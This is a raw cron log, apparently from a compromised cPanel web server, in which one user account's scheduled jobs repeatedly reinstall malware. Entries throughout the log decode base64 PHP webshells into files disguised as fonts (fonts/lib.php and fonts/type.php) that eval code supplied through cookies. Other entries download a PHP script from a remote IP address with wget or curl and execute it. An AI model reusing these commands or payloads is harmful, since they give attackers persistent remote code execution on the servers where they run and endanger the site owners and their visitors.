Aug 30 06:03:01 ip-184-168-122-23 CROND[25060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:04:01 ip-184-168-122-23 CROND[25156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:04:01 ip-184-168-122-23 CROND[25158]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:04:01 ip-184-168-122-23 CROND[25160]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:04:01 ip-184-168-122-23 CROND[25162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:04:01 ip-184-168-122-23 CROND[25163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:05:01 ip-184-168-122-23 CROND[25248]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:05:01 ip-184-168-122-23 CROND[25251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:05:01 ip-184-168-122-23 CROND[25250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:05:01 ip-184-168-122-23 CROND[25249]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 06:05:01 ip-184-168-122-23 CROND[25254]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:05:01 ip-184-168-122-23 CROND[25256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:05:01 ip-184-168-122-23 CROND[25255]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:06:01 ip-184-168-122-23 CROND[25352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:06:01 ip-184-168-122-23 CROND[25357]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:06:01 ip-184-168-122-23 CROND[25355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:06:01 ip-184-168-122-23 CROND[25356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:06:01 ip-184-168-122-23 CROND[25354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:07:01 ip-184-168-122-23 CROND[25441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:07:01 ip-184-168-122-23 CROND[25442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:07:01 ip-184-168-122-23 CROND[25445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:07:01 ip-184-168-122-23 CROND[25448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:08:01 ip-184-168-122-23 CROND[25538]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:08:01 ip-184-168-122-23 CROND[25540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:08:01 ip-184-168-122-23 CROND[25541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:08:01 ip-184-168-122-23 CROND[25542]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:08:01 ip-184-168-122-23 CROND[25543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:09:01 ip-184-168-122-23 CROND[25643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:09:01 ip-184-168-122-23 CROND[25645]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 06:09:01 ip-184-168-122-23 CROND[25646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:09:01 ip-184-168-122-23 CROND[25647]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:09:01 ip-184-168-122-23 CROND[25648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:10:01 ip-184-168-122-23 CROND[25772]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:10:01 ip-184-168-122-23 CROND[25775]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:10:01 ip-184-168-122-23 CROND[25774]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:10:01 ip-184-168-122-23 CROND[25776]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:10:01 ip-184-168-122-23 CROND[25777]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:10:01 ip-184-168-122-23 CROND[25780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:10:01 ip-184-168-122-23 CROND[25778]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:10:01 ip-184-168-122-23 CROND[25785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:11:02 ip-184-168-122-23 CROND[25958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:11:02 ip-184-168-122-23 CROND[25960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:11:02 ip-184-168-122-23 CROND[25959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:11:02 ip-184-168-122-23 CROND[25961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:12:01 ip-184-168-122-23 CROND[26291]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:12:01 ip-184-168-122-23 CROND[26294]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:12:01 ip-184-168-122-23 CROND[26292]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:12:01 ip-184-168-122-23 CROND[26295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:12:01 ip-184-168-122-23 CROND[26296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:13:01 ip-184-168-122-23 CROND[26429]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:13:01 ip-184-168-122-23 CROND[26431]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:13:01 ip-184-168-122-23 CROND[26433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:13:01 ip-184-168-122-23 CROND[26432]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:14:01 ip-184-168-122-23 CROND[26526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:14:01 ip-184-168-122-23 CROND[26528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:14:01 ip-184-168-122-23 CROND[26529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:14:01 ip-184-168-122-23 CROND[26530]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:14:01 ip-184-168-122-23 CROND[26531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:15:01 ip-184-168-122-23 CROND[26662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:15:01 ip-184-168-122-23 CROND[26663]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 30 06:15:01 ip-184-168-122-23 CROND[26666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:15:01 ip-184-168-122-23 CROND[26669]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:15:01 ip-184-168-122-23 CROND[26668]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:15:01 ip-184-168-122-23 CROND[26670]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:15:01 ip-184-168-122-23 CROND[26667]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
